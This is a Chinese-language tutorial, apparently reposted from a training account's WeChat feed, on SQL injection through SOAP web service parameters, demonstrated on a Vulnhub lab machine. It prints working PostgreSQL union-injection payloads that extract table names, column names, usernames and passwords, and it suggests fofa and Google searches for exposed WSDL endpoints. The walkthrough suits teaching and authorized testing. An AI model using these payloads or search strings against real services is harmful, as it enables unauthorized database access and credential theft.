SOAP注入

admin 2023年6月3日16:43:11评论17 views字数 4292阅读14分18秒阅读模式

获网安教程

免费&进群

SOAP注入  
SOAP注入

本文由掌控安全学院-手电筒

  • soap 注入简介

  • 什么是soap

  • soap SQL注入

    • soapui使用

    • burp的wsdler

    • soap的消息格式

    • SOAP sql注入原理

    • 测试环境

    • SOAP SQL注入查找(初级)

    • SOAP SQL注入查找(进阶)

soap 注入简介

soap注入就是在webservice 的soap协议,连接web服务和客户端的接口处的注入,通过在发送的soap消息参数内添加注入语句来达到注入效果,常见的有sql注入,也有xml注入,代码注入

什么是soap

首先介绍webservice,webservice是一种跨平台,跨语言的规范,用于不同平台,不同语言间的交互,webservice有三要素,分别为soap,wsdl和uddl,uddl用于提供发布和查询webservice方法,wsdl是webservice服务描述语言,用于web服务说明,它是一个xml文档,用于说明一组soap消息如何访问接口,soap是简单对象访问协议,用于分布式环境的基于信息交换的同行协议,描述传递信息的格式和规范,它可以用于连接web服务和客户端之间的接口,是一个可以在不同操作系统上运行的不同语言编写的程序之间的传输通信协议,格式为xml,soap消息

soap协议又分为soap 1.1 和 soap 1.2 两个版本
这两个协议间的区别在于soap 1.1里存在soapAction请求头,而soap 1.2没有,soap 1.2里用了action来代替,两者的wsdl文件也不同,体现在命名空间和定义service差别里,不过这些对注入没有影响

soap SQL注入

SOAP sql注入原理

soap sql 注入就是攻击者修改发送的soap消息参数,达到发起SQL注入的效果,在服务提供端,soap信息被解析,参数在访问数据库前没有被检测,导致执行sql语句,造成sql注入

soap的消息格式

之前提到过soap的格式为xml的

  1. <?xml version="1.0"?>

  2. <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

  3. <soap:Header>

  4. </soap:Header>

  5. <soap:Body>

  6. <soap:Fault>

  7. </soap:Fault>

  8. </soap:Body>

  9. </soap:Envelope>

Envelope:用于把xml信息标记为soap
header:包含请求信息
Body:包含了请求和相应信息
Fault:包含了发生的错误信息

这里重点关注Body,Body处包含了请求和相应信息,当Body内有存在数据可控时,就有可能存在注入

例如

  1. <?xml version="1.0" encoding="utf-8"?>

  2. <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

  3. <soap:Body>

  4. <GetServiceCustomer xmlns="http://tempuri.org/">

  5. <UserID>string</UserID>

  6. <ServiceType>string</ServiceType>

  7. <CO_CODE>string</CO_CODE>

  8. </GetServiceCustomer>

  9. </soap:Body>

  10. </soap:Envelope>

如果这里的UserID处的参数被放入数据库查询,就有可能触发漏洞,当然,这里需要知道此处web服务的功能,sql注入一般发生在数据查询处

或者可以去通过查看asmx下的wsdl,wsdl是一个xml,用于说明soap消息及如何使用这些消息,通常形式为asmx?wsdl,后面测试里会提到的

测试环境

这里我们使用vulnhub去测试

首先访问靶机

SOAP注入

一般存在注入的地方发生在数据查询处,查看4个功能点功能,AddUser 为添加用户,list 为列举用户,getuser 为获取用户,delete 为删除用户,这里最有可能存在漏洞处为获取用户信息处

点击查看它的消息布局

SOAP注入

发现username处为string 此处传入为字符串,可能存在注入

也可以通过查看它的wsdl去分析,去看soap消息及如何使用这些消息
找到getuser处

SOAP注入

查看此处的GetUser元素,此处元素为内部创建的子元素,这里子元素名称为username,类型为字符串类型

往下看,查找它的operation,也就是它的操作活动

SOAP注入

找到GetUserHttpGetIn 这个可以看作是 Get User Http Get In 为获取用户的输入

以此为突破口进行测试

这个靶场的数据库为PostgreSQL 数据库,那么要用 PostgreSQL注入来做

首先测试下是否有注入
输入 ‘ or 1=1 — qwe

SOAP注入

得到结果

再输入 ‘ or 1=2 — qwe

SOAP注入

可以说明此处存在注入
这里我们用联合查询的方式去操作,PostgreSQL的联合查询和mysql的十分相似

先用order by去判断字段数,到order by 3时报错

SOAP注入

可以看到,此处3个字段超过了,这里为两个字段

接下来查询数据
首先判断显错位

admin’ union select aaa,aaa — qwe

结果报错

SOAP注入

因为这里必须是以字符串传入,所以换 admin’ union select ‘aaa’,’aaa’ — qwe 语句去尝试下

SOAP注入

两处都为显错位

那么填入我们要查询的数据试下,先查看当前数据库

aaa’ union select current_database(),’ccc’ — qwe

SOAP注入

得到当前库名为 vulnerable

由于postgresql数据库和用户相关,所以要先去查看当前用户名以及了解当前用户的权限
语句
aaa’ union select current_user,’ccc’ — qwe
得到结果

SOAP注入

用户名为postgres
postgres用户为PostgreSQL数据库的默认用户名,有足够权限去查询其他的库和表

再找表名
aaaa’ union select table_name,’ccc’ from information_schema.tables limit 1 offset 17 — qwe

SOAP注入

新版本的PostgreSQL数据库的查询方法和mysql的差不多,都有information_schema 去辅助查询,当然还有其他方法也可以查找,比如利用postgresql数据库的统计收集器pg_stat_database去查询

PostgreSQL数据库里的limit语法和mysql的不同,用法为 limit 1 offset 0
limit 1为列出一条数据, offset 0 为从第0位开始

得到表名user

再查找字段名
bbb’ union select column_name,’ccc’ from information_schema.columns where table_name=’users’ limit 1 offset 0 — qwe

得到第一个字段名为password

SOAP注入

查找其他字段
bbb’ union select column_name,’ccc’ from information_schema.columns where table_name=’users’ limit 1 offset 1 — qwe

SOAP注入

得到第二个用户名的字段

查找数据
bbb’ union select username,password from users limit 1 offset 1 — qwe

得到结果

SOAP注入

SOAP SQL注入查找(初级)

通常而言通过搜索特定后缀去找webservice地址,比如通过在fofa搜索 asmx,asmx是webservice服务程序的后缀名,asp.net 使用 asmx 来进行对webservice的支持,通过fofa上搜索找目标,或者可以使用google语法搜索,inurl:asmx?wsdl,inurl:.php?wsdl inurl:.ashx?wsdl通过去查找webservice的服务描述的xml文档来找寻可能的注入点

SOAP SQL注入查找(进阶)

因为wsdl内的信息过于繁杂,可以借助辅助工具来对wsdl进行分析,常用的有soapui,或者用burp的wsdler模块,都可以分析wsdl来得到

soapui使用

SOAP注入

点击file,选择create new project,填入地址

SOAP注入

然后就可以对wsdl地址进行解析

SOAP注入

burp的wsdler

抓取访问wsdl的数据包,然后右键,选择parse wsdl

SOAP注入

SOAP注入

得到分析结果,这里可以结合sqlmap使用,把抓到的包保存为txt文件,然后sqlmap去测试

参考连接
http://emonsec.com/web/51995.html
http://ccg-lenovo.com/2020/03/27/SOAP%E6%B3%A8%E5%85%A5/
https://blog.csdn.net/niexinming/article/details/49491643
https://resources.infosecinstitute.com/topic/soap-attack-2/
https://skysec.top/2018/08/17/SOAP%E5%8F%8A%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/
https://www.xffbk.cn/archives/23.html


申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

SOAP注入

没看够~?欢迎关注!


分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号

 

SOAP注入

 分享后扫码加我



回顾往期内容


Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

SOAP注入

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力


原文始发于微信公众号(掌控安全EDU):SOAP注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月3日16:43:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SOAP注入https://cn-sec.com/archives/1782558.html

发表评论

匿名网友 填写信息